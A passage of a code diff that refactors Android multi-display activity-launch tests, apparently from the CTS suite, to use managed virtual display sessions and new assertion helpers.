+ newDisplay.mId == newFrontStack.mDisplayId);
+ assertEquals("Launched activity must be resumed",
+ getActivityName(NON_RESIZEABLE_ACTIVITY),
+ newFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack(
+ "Top stack must be the one with just launched activity",
+ newFrontStackId);
+ assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, LAUNCHING_ACTIVITY),
+ pair(newFrontStack.mDisplayId, NON_RESIZEABLE_ACTIVITY));
}
/**
@@ -341,30 +354,25 @@
* primary display.
*/
@Test
- public void testConsequentLaunchActivity() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testConsequentLaunchActivity() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be on top");
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be on top");
- // Launch second activity without specifying display.
- launchActivity(LAUNCHING_ACTIVITY);
+ // Launch second activity without specifying display.
+ launchActivity(LAUNCHING_ACTIVITY);
- // Check that activity is launched in focused stack on primary display.
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
- "Launched activity must be focused");
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(newDisplay.mId, TEST_ACTIVITY);
- put(DEFAULT_DISPLAY, LAUNCHING_ACTIVITY);
- }}
- );
- }
+ // Check that activity is launched in focused stack on primary display.
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+ "Launched activity must be focused");
+ assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, TEST_ACTIVITY),
+ pair(DEFAULT_DISPLAY, LAUNCHING_ACTIVITY));
}
/**
@@ -372,25 +380,24 @@
* first one - it must appear on the secondary display, because it was launched from there.
*/
@Test
- public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ public void testConsequentLaunchActivityFromSecondaryDisplay() {
+ // Create new simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be on top");
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be on top");
- // Launch second activity from app on secondary display without specifying display id.
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
+ // Launch second activity from app on secondary display without specifying display id.
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
- // Check that activity is launched in focused stack on external display.
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
- }
+ // Check that activity is launched in focused stack on external display.
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ "Launched activity must be on top");
}
/**
@@ -398,25 +405,24 @@
* first one - it must appear on the secondary display, because it was launched from there.
*/
@Test
- public void testConsequentLaunchActivityFromVirtualDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testConsequentLaunchActivityFromVirtualDisplay() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be on top");
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be on top");
- // Launch second activity from app on secondary display without specifying display id.
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
- mAmWmState.computeState(TEST_ACTIVITY);
+ // Launch second activity from app on secondary display without specifying display id.
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
+ mAmWmState.computeState(TEST_ACTIVITY);
- // Check that activity is launched in focused stack on external display.
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
- }
+ // Check that activity is launched in focused stack on external display.
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ "Launched activity must be on top");
}
/**
@@ -424,108 +430,101 @@
* first one with specifying the target display - it must appear on the secondary display.
*/
@Test
- public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testConsequentLaunchActivityFromVirtualDisplayToTargetDisplay() {
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- // Launch activity on new secondary display.
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ // Launch activity on new secondary display.
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be on top");
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be on top");
- // Launch second activity from app on secondary display specifying same display id.
- getLaunchActivityBuilder()
- .setTargetActivity(SECOND_ACTIVITY)
- .setDisplayId(newDisplay.mId)
- .execute();
+ // Launch second activity from app on secondary display specifying same display id.
+ getLaunchActivityBuilder()
+ .setTargetActivity(SECOND_ACTIVITY)
+ .setDisplayId(newDisplay.mId)
+ .execute();
- // Check that activity is launched in focused stack on external display.
- waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
+ // Check that activity is launched in focused stack on external display.
+ waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
+ "Launched activity must be on top");
- // Launch other activity with different uid and check if it has launched successfully.
- getLaunchActivityBuilder()
- .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
- SECOND_LAUNCH_BROADCAST_ACTION)
- .setDisplayId(newDisplay.mId)
- .setTargetActivity(THIRD_ACTIVITY)
- .execute();
+ // Launch other activity with different uid and check if it has launched successfully.
+ getLaunchActivityBuilder()
+ .setUseBroadcastReceiver(SECOND_LAUNCH_BROADCAST_RECEIVER,
+ SECOND_LAUNCH_BROADCAST_ACTION)
+ .setDisplayId(newDisplay.mId)
+ .setTargetActivity(THIRD_ACTIVITY)
+ .execute();
- // Check that activity is launched in focused stack on external display.
- waitAndAssertTopResumedActivity(THIRD_ACTIVITY, newDisplay.mId,
- "Launched activity must be on top");
- }
+ // Check that activity is launched in focused stack on external display.
+ waitAndAssertTopResumedActivity(THIRD_ACTIVITY, newDisplay.mId,
+ "Launched activity must be on top");
}
/**
* Tests launching an activity to secondary display from activity on primary display.
*/
@Test
- public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+ public void testLaunchActivityFromAppToSecondaryDisplay() {
// Start launching activity.
launchActivity(LAUNCHING_ACTIVITY);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ // Create new simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch activity on secondary display from the app on primary display.
- getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
- .setDisplayId(newDisplay.mId).execute();
+ // Launch activity on secondary display from the app on primary display.
+ getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+ .setDisplayId(newDisplay.mId).execute();
- // Check that activity is launched on external display.
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
- "Activity launched on secondary display must be focused");
- mAmWmState.assertResumedActivities("Both displays must have resumed activities",
- new SparseArray<ComponentName>(){{
- put(DEFAULT_DISPLAY, LAUNCHING_ACTIVITY);
- put(newDisplay.mId, TEST_ACTIVITY);
- }}
- );
- }
+ // Check that activity is launched on external display.
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
+ "Activity launched on secondary display must be focused");
+ assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, LAUNCHING_ACTIVITY),
+ pair(newDisplay.mId, TEST_ACTIVITY));
}
/** Tests that launching app from pending activity queue on external display is allowed. */
@Test
- public void testLaunchPendingActivityOnSecondaryDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new simulated display.
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
- final Bundle bundle = ActivityOptions.makeBasic().
- setLaunchDisplayId(newDisplay.mId).toBundle();
- final Intent intent = new Intent(Intent.ACTION_VIEW)
- .setComponent(SECOND_ACTIVITY)
- .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
- .putExtra(KEY_LAUNCH_ACTIVITY, true)
- .putExtra(KEY_NEW_TASK, true);
- mContext.startActivity(intent, bundle);
+ public void testLaunchPendingActivityOnSecondaryDisplay() {
+ pressHomeButton();
+ // Create new simulated display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+ final Bundle bundle = ActivityOptions.makeBasic().
+ setLaunchDisplayId(newDisplay.mId).toBundle();
+ final Intent intent = new Intent(Intent.ACTION_VIEW)
+ .setComponent(SECOND_ACTIVITY)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .putExtra(KEY_LAUNCH_ACTIVITY, true)
+ .putExtra(KEY_NEW_TASK, true);
+ mContext.startActivity(intent, bundle);
- // ActivityManagerTestBase.setup would press home key event, which would cause
- // PhoneWindowManager.startDockOrHome to call AMS.stopAppSwitches.
- // Since this test case is not start activity from shell, it won't grant
- // STOP_APP_SWITCHES and this activity should be put into pending activity queue
- // and this activity should been launched after
- // ActivityTaskManagerService.APP_SWITCH_DELAY_TIME
- mAmWmState.waitForPendingActivityContain(SECOND_ACTIVITY);
- // If the activity is not pending, skip this test.
- mAmWmState.assumePendingActivityContain(SECOND_ACTIVITY);
- // In order to speed up test case without waiting for APP_SWITCH_DELAY_TIME, we launch
- // another activity with LaunchActivityBuilder, in this way the activity can be start
- // directly and also trigger pending activity to be launched.
- getLaunchActivityBuilder()
- .setTargetActivity(THIRD_ACTIVITY)
- .execute();
- mAmWmState.waitForValidState(SECOND_ACTIVITY);
- waitAndAssertTopResumedActivity(THIRD_ACTIVITY, DEFAULT_DISPLAY,
- "Top activity must be the newly launched one");
- mAmWmState.assertVisibility(SECOND_ACTIVITY, true);
- assertEquals("Activity launched by app on secondary display must be on that display",
- newDisplay.mId, mAmWmState.getAmState().getDisplayByActivity(SECOND_ACTIVITY));
- }
+ // If home key was pressed, stopAppSwitches will be called.
+ // Since this test case is not start activity from shell, it won't grant
+ // STOP_APP_SWITCHES and this activity should be put into pending activity queue
+ // and this activity should been launched after
+ // ActivityTaskManagerService.APP_SWITCH_DELAY_TIME
+ mAmWmState.waitForPendingActivityContain(SECOND_ACTIVITY);
+ // If the activity is not pending, skip this test.
+ mAmWmState.assumePendingActivityContain(SECOND_ACTIVITY);
+ // In order to speed up test case without waiting for APP_SWITCH_DELAY_TIME, we launch
+ // another activity with LaunchActivityBuilder, in this way the activity can be start
+ // directly and also trigger pending activity to be launched.
+ getLaunchActivityBuilder()
+ .setTargetActivity(THIRD_ACTIVITY)
+ .execute();
+ mAmWmState.waitForValidState(SECOND_ACTIVITY);
+ waitAndAssertTopResumedActivity(THIRD_ACTIVITY, DEFAULT_DISPLAY,
+ "Top activity must be the newly launched one");
+ mAmWmState.assertVisibility(SECOND_ACTIVITY, true);
+ assertEquals("Activity launched by app on secondary display must be on that display",
+ newDisplay.mId, mAmWmState.getAmState().getDisplayByActivity(SECOND_ACTIVITY));
}
/**
@@ -533,49 +532,46 @@
* matching task on some other display - that task will moved to the target display.
*/
@Test
- public void testMoveToDisplayOnLaunch() throws Exception {
+ public void testMoveToDisplayOnLaunch() {
// Launch activity with unique affinity, so it will the only one in its task.
launchActivity(LAUNCHING_ACTIVITY);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- // Launch something to that display so that a new stack is created. We need this to be
- // able to compare task numbers in stacks later.
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
- mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ // Launch something to that display so that a new stack is created. We need this to be
+ // able to compare task numbers in stacks later.
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
- final int stackNum = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY)
- .mStacks.size();
- final int stackNumOnSecondary = mAmWmState.getAmState()
- .getDisplay(newDisplay.mId).mStacks.size();
+ final int stackNum = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY).mStacks.size();
+ final int stackNumOnSecondary = mAmWmState.getAmState()
+ .getDisplay(newDisplay.mId).mStacks.size();
- // Launch activity on new secondary display.
- // Using custom command here, because normally we add flags
- // {@link Intent#FLAG_ACTIVITY_NEW_TASK} and {@link Intent#FLAG_ACTIVITY_MULTIPLE_TASK}
- // when launching on some specific display. We don't do it here as we want an existing
- // task to be used.
- final String launchCommand = "am start -n " + getActivityName(LAUNCHING_ACTIVITY)
- + " --display " + newDisplay.mId;
- executeShellCommand(launchCommand);
+ // Launch activity on new secondary display.
+ // Using custom command here, because normally we add flags
+ // {@link Intent#FLAG_ACTIVITY_NEW_TASK} and {@link Intent#FLAG_ACTIVITY_MULTIPLE_TASK}
+ // when launching on some specific display. We don't do it here as we want an existing
+ // task to be used.
+ final String launchCommand = "am start -n " + getActivityName(LAUNCHING_ACTIVITY)
+ + " --display " + newDisplay.mId;
+ executeShellCommand(launchCommand);
- // Check that activity is brought to front.
- waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
- "Existing task must be brought to front");
+ // Check that activity is brought to front.
+ waitAndAssertActivityStateOnDisplay(LAUNCHING_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Existing task must be brought to front");
- // Check that task has moved from primary display to secondary.
- // Since it is 1-to-1 relationship between task and stack for standard type &
- // fullscreen activity, we check the number of stacks here
- final int stackNumFinal = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY)
- .mStacks.size();
- assertEquals("Stack number in default stack must be decremented.", stackNum - 1,
- stackNumFinal);
- final int stackNumFinalOnSecondary = mAmWmState.getAmState()
- .getDisplay(newDisplay.mId).mStacks.size();
- assertEquals("Stack number on external display must be incremented.",
- stackNumOnSecondary + 1, stackNumFinalOnSecondary);
- }
+ // Check that task has moved from primary display to secondary.
+ // Since it is 1-to-1 relationship between task and stack for standard type &
+ // fullscreen activity, we check the number of stacks here
+ final int stackNumFinal = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY)
+ .mStacks.size();
+ assertEquals("Stack number in default stack must be decremented.", stackNum - 1,
+ stackNumFinal);
+ final int stackNumFinalOnSecondary = mAmWmState.getAmState()
+ .getDisplay(newDisplay.mId).mStacks.size();
+ assertEquals("Stack number on external display must be incremented.",
+ stackNumOnSecondary + 1, stackNumFinalOnSecondary);
}
/**
@@ -583,38 +579,36 @@
* matching task on some other display - that task will moved to the target display.
*/
@Test
- public void testMoveToEmptyDisplayOnLaunch() throws Exception {
+ public void testMoveToEmptyDisplayOnLaunch() {
// Launch activity with unique affinity, so it will the only one in its task. And choose
// resizeable activity to prevent the test activity be relaunched when launch it to another
// display, which may affect on this test case.
launchActivity(RESIZEABLE_ACTIVITY);
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- // Create new virtual display.
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+ // Create new virtual display.
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
- final int stackNum = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY).mStacks.size();
+ final int stackNum = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY).mStacks.size();
- // Launch activity on new secondary display.
- // Using custom command here, because normally we add flags
- // {@link Intent#FLAG_ACTIVITY_NEW_TASK} and {@link Intent#FLAG_ACTIVITY_MULTIPLE_TASK}
- // when launching on some specific display. We don't do it here as we want an existing
- // task to be used.
- final String launchCommand = "am start -n " + getActivityName(RESIZEABLE_ACTIVITY)
- + " --display " + newDisplay.mId;
- executeShellCommand(launchCommand);
+ // Launch activity on new secondary display.
+ // Using custom command here, because normally we add flags
+ // {@link Intent#FLAG_ACTIVITY_NEW_TASK} and {@link Intent#FLAG_ACTIVITY_MULTIPLE_TASK}
+ // when launching on some specific display. We don't do it here as we want an existing
+ // task to be used.
+ final String launchCommand = "am start -n " + getActivityName(RESIZEABLE_ACTIVITY)
+ + " --display " + newDisplay.mId;
+ executeShellCommand(launchCommand);
- // Check that activity is brought to front.
- waitAndAssertTopResumedActivity(RESIZEABLE_ACTIVITY, newDisplay.mId,
- "Existing task must be brought to front");
+ // Check that activity is brought to front.
+ waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
+ "Existing task must be brought to front");
- // Check that task has moved from primary display to secondary.
- final int stackNumFinal = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY)
- .mStacks.size();
- assertEquals("Stack number in default stack must be decremented.", stackNum - 1,
- stackNumFinal);
- }
+ // Check that task has moved from primary display to secondary.
+ final int stackNumFinal = mAmWmState.getAmState().getDisplay(DEFAULT_DISPLAY)
+ .mStacks.size();
+ assertEquals("Stack number in default stack must be decremented.", stackNum - 1,
+ stackNumFinal);
}
/**
@@ -622,52 +616,49 @@
* matching the task component root does.
*/
@Test
- public void testTaskMatchAcrossDisplays() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testTaskMatchAcrossDisplays() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- mAmWmState.computeState(LAUNCHING_ACTIVITY);
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ mAmWmState.computeState(LAUNCHING_ACTIVITY);
- // Check that activity is on the secondary display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
- final ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Top stack must be on secondary display",
- frontStackId);
+ // Check that activity is on the secondary display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
+ final ActivityStack firstFrontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
- executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY));
- mAmWmState.waitForValidState(ALT_LAUNCHING_ACTIVITY);
+ executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY));
+ mAmWmState.waitForValidState(ALT_LAUNCHING_ACTIVITY);
- // Check that second activity gets launched on the default display despite
- // the affinity match on the secondary display.
- final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
- DEFAULT_DISPLAY);
- final ActivityStack defaultDisplayFrontStack =
- mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
- assertEquals("Activity launched on default display must be resumed",
- getActivityName(ALT_LAUNCHING_ACTIVITY),
- defaultDisplayFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Top stack must be on primary display",
- defaultDisplayFrontStackId);
+ // Check that second activity gets launched on the default display despite
+ // the affinity match on the secondary display.
+ final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
+ DEFAULT_DISPLAY);
+ final ActivityStack defaultDisplayFrontStack =
+ mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
+ assertEquals("Activity launched on default display must be resumed",
+ getActivityName(ALT_LAUNCHING_ACTIVITY),
+ defaultDisplayFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Top stack must be on primary display",
+ defaultDisplayFrontStackId);
- executeShellCommand("am start -n " + getActivityName(LAUNCHING_ACTIVITY));
- mAmWmState.waitForFocusedStack(frontStackId);
+ executeShellCommand("am start -n " + getActivityName(LAUNCHING_ACTIVITY));
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
+ "Existing task must be brought to front");
- // Check that the third intent is redirected to the first task due to the root
- // component match on the secondary display.
- final ActivityStack secondFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Top stack must be on primary display", frontStackId);
- assertEquals("Top stack must only contain 1 task",
- 1, secondFrontStack.getTasks().size());
- assertEquals("Top task must only contain 1 activity",
- 1, secondFrontStack.getTasks().get(0).mActivities.size());
- }
+ // Check that the third intent is redirected to the first task due to the root
+ // component match on the secondary display.
+ final ActivityStack secondFrontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Top stack must be on primary display", frontStackId);
+ assertEquals("Top stack must only contain 1 task",
+ 1, secondFrontStack.getTasks().size());
+ assertEquals("Top task must only contain 1 activity",
+ 1, secondFrontStack.getTasks().get(0).mActivities.size());
}
/**
@@ -675,7 +666,7 @@
* both displays have matching tasks.
*/
@Test
- public void testTaskMatchOrderAcrossDisplays() throws Exception {
+ public void testTaskMatchOrderAcrossDisplays() {
getLaunchActivityBuilder().setUseInstrumentation()
.setTargetActivity(TEST_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
@@ -685,62 +676,55 @@
.setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
- getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
- .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
- .setDisplayId(newDisplay.mId).execute();
- assertNotEquals("Top focus stack should not be on default display",
- stackId, mAmWmState.getAmState().getFocusedStackId());
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
+ getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
+ .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
+ .setDisplayId(newDisplay.mId).execute();
+ assertNotEquals("Top focus stack should not be on default display",
+ stackId, mAmWmState.getAmState().getFocusedStackId());
- mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Activity must be launched on default display");
- mAmWmState.assertFocusedStack("Top focus stack must be on the default display",
- stackId);
- }
+ mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
+ waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity must be launched on default display");
+ mAmWmState.assertFocusedStack("Top focus stack must be on the default display", stackId);
}
/**
* Tests that the task affinity search respects the launch display id.
*/
@Test
- public void testLaunchDisplayAffinityMatch() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+ public void testLaunchDisplayAffinityMatch() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true).createDisplay();
- launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
- // Check that activity is on the secondary display.
- final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
- final ActivityStack firstFrontStack =
- mAmWmState.getAmState().getStackById(frontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+ // Check that activity is on the secondary display.
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
+ final ActivityStack firstFrontStack = mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
- // We don't want FLAG_ACTIVITY_MULTIPLE_TASK, so we can't use launchActivityOnDisplay
- executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY)
- + " -f 0x10000000" // FLAG_ACTIVITY_NEW_TASK
- + " --display " + newDisplay.mId);
- mAmWmState.computeState(ALT_LAUNCHING_ACTIVITY);
+ // We don't want FLAG_ACTIVITY_MULTIPLE_TASK, so we can't use launchActivityOnDisplay
+ executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY)
+ + " -f 0x10000000" // FLAG_ACTIVITY_NEW_TASK
+ + " --display " + newDisplay.mId);
+ mAmWmState.computeState(ALT_LAUNCHING_ACTIVITY);
- // Check that second activity gets launched into the affinity matching
- // task on the secondary display
- final int secondFrontStackId =
- mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
- final ActivityStack secondFrontStack =
- mAmWmState.getAmState().getStackById(secondFrontStackId);
- assertEquals("Activity launched on secondary display must be resumed",
- getActivityName(ALT_LAUNCHING_ACTIVITY),
- secondFrontStack.mResumedActivity);
- mAmWmState.assertFocusedStack("Top stack must be on secondary display",
- secondFrontStackId);
- assertEquals("Top stack must only contain 1 task",
- 1, secondFrontStack.getTasks().size());
- assertEquals("Top stack task must contain 2 activities",
- 2, secondFrontStack.getTasks().get(0).mActivities.size());
- }
+ // Check that second activity gets launched into the affinity matching
+ // task on the secondary display
+ final int secondFrontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mId);
+ final ActivityStack secondFrontStack =
+ mAmWmState.getAmState().getStackById(secondFrontStackId);
+ assertEquals("Activity launched on secondary display must be resumed",
+ getActivityName(ALT_LAUNCHING_ACTIVITY),
+ secondFrontStack.mResumedActivity);
+ mAmWmState.assertFocusedStack("Top stack must be on secondary display", secondFrontStackId);
+ assertEquals("Top stack must only contain 1 task",
+ 1, secondFrontStack.getTasks().size());
+ assertEquals("Top stack task must contain 2 activities",
+ 2, secondFrontStack.getTasks().get(0).mActivities.size());
}
/**
@@ -748,104 +732,168 @@
* even if the focused stack is not on that activity's display.
*/
@Test
- public void testNewTaskSameDisplay() throws Exception {
- try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
- final ActivityDisplay newDisplay = virtualDisplaySession.setSimulateDisplay(true)
- .createDisplay();
+ public void testNewTaskSameDisplay() {
+ final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mId);
